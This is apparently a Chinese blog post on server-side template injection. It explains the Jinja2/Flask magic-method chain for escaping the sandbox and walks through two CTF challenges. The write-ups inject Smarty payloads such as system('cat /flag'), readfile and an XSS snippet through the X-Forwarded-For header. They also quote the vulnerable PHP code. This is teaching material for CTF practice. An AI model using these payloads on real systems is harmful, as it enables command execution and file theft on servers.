SSTI模板注入

4 篇文章 0 订阅

SSTI模板注入

一些比较好的文章:

https://www.cnblogs.com/20175211lyz/p/11425368.html

https://bbs.ichunqiu.com/thread-47685-1-1.html?from=aqzx8

  • 什么是SSTI

    SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。

    常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。

    sql注入是从用户获得一个输入,然后利用后端脚本语言进行数据库查询,所以可以利用输入来拼接我们想要的sql语句,当然现在的sql注入防范做得已经很好了,然而随之而来的是更多的漏洞。

    SSTI也是获取了一个输入,然后再后端的渲染处理上进行了语句的拼接,然后执行。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎,主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。

    现在网上提起的比较多的是Python的网站。

    img
  • 什么是模板引擎

    模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。

    模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这就大大提升了开发效率,良好的设计也使得代码重用变得更加容易。

    也就是说,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

    模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。

  • 攻击流程

    flask SSTI的基本思路就是利用python中的魔术方法找到自己要用的函数

    __dict__:保存类实例或对象实例的属性变量键值对字典
    __class__:返回类型所属的对象
    __mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
    __bases__ :返回该对象所继承的基类
    			// __base__和__mro__都是用来寻找基类的
    __subclasses__:每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
    __init__:类的初始化方法
    __globals__:对包含函数全局变量的字典的引用
    
    • 获取基本类
    ''.__class__.__mro__[2]
    {}.__class__.__bases__[0]
    ().__class__.__bases__[0]
    [].__class__.__bases__[0]
    request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用
    
    • 获取基本类后,继续向下获取基本类(object)的子类
    object.__subclasses__()
    

    找到重载过的__init__类(在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的)

    >>> ''.__class__.__mro__[2].__subclasses__()[99].__init__
    <slot wrapper '__init__' of 'object' objects>
    >>> ''.__class__.__mro__[2].__subclasses__()[59].__init__
    <unbound method WarningMessage.__init__>
    
    • 查看其引用__builtins__

    builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块

    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']
    

    这里会返回dict类型,寻找keys中可用函数,直接调用即可,使用keys中的file以实现读取文件的功能

    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('F://GetFlag.txt').read()
    

    除此外还有其他的调用方式

[BJDCTF2020]The mystery of ip

本题考查XFF头的SSTI模板注入,没有过滤

hint里给我们提示了ip,在flag.php那里尝试xff头,发现成功回显,说明回显的点在xff头那里。猜测是SSTI。

抓取flag.php和hint.php的包

使用burpsuite抓取Flag页面的包,尝试添加X-Forwarded-For头,并赋值127.0.0.1,ip地址发生变化。也可修改client-ip。

可以看到此时显示的IP已经变了,猜测存在ssti

构造一个表达式Payload测试一下:

X-Forwarded-For: {{system(‘ls‘)}} 

可以看到服务器执行了我们的命令,直接cat /flag即可获得Flag

X-Forwarded-For: {{system(‘cat /flag‘)}}

做出题之后再来分析一下这道题的源码,看一下flag.php的源码:

<?php
    require_once(‘header.php‘);
    require_once(./libs/Smarty.class.php‘);
    $smarty = new Smarty();
    if (!empty($_SERVER[HTTP_CLIENT_IP])) 
    {
        $ip=$_SERVER[HTTP_CLIENT_IP];
    }
    elseif (!empty($_SERVER[HTTP_X_FORWARDED_FOR]))
    {
        $ip=$_SERVER[HTTP_X_FORWARDED_FOR];
    }
    else
    {
        $ip=$_SERVER[REMOTE_ADDR];
    }
    //$your_ip = $smarty->display("string:".$ip);
    echo "<div class=\"container panel1\">
                <div class=\"row\">
                <div class=\"col-md-4\">    
                </div>
            <div class=\"col-md-4\">
                <div class=\"jumbotron pan\">
                    <div class=\"form-group log\">
                        <label><h2>Your IP is : ";
    $smarty->display("string:".$ip);
    echo "            </h2></label>
                    </div>        
                </div>
            </div>
                <div class=\"col-md-4\">    
                </div>
                </div>
            </div>";
?>

形成ssti的代码:$smarty->display("string:".$ip)

采用了Smarty模板引擎,导致了SSTI。

[CISCN2019 华东南赛区]Web11

本题考查的内容是Smarty SSTI,下面是一篇关于它的讲解

https://www.freebuf.com/column/219913.html

  • 第一种思路

    设置X-Forwarded-For为{7+7},在current ip 处回显14,确实在这里存在ssti

    查阅smarty手册,发现**{$smarty.version}**,返回版本信息3.1.30,这里smarty的版本是${smarty.template}返回当前模板的文件名

    smarty中的{if}标签中可以执行php语句,得flag:

    {if readfile('/flag')}{/if}
    

    smarty中还有{literal}、{php}(smarty 2可用),试试{literal}或许还有别的解题思路。

    {literal}可以让块中间的内容忽略Smarty的解析

    paylaod

    {literal}alert('xss');{/literal} 可以产生 xss
    
  • 第二种思路

    读取某个文件比如:X-Forwarded-For:{system('cat /api')}

    多尝试几次

    X-Forwarded-For:{system(‘cat /api’)}
    X-Forwarded-For:{system(‘cat /css’)}
    X-Forwarded-For:{system(‘cat /index.php’)}
    X-Forwarded-For:{system(‘cat /smarty’)}
    X-Forwarded-For:{system(‘cat /templates_c’)}
    X-Forwarded-For:{system(‘cat /xff’)}
    X-Forwarded-For:{system(‘cat /flag’)}
    X-Forwarded-For:{system(‘cat /flag.php’)}
    

    猜测flag可能是在根目录下,所以输入

    X-Forwarded-For:{system('cat ../../../../../../../../flag')}
    
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

阿刁〇하

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值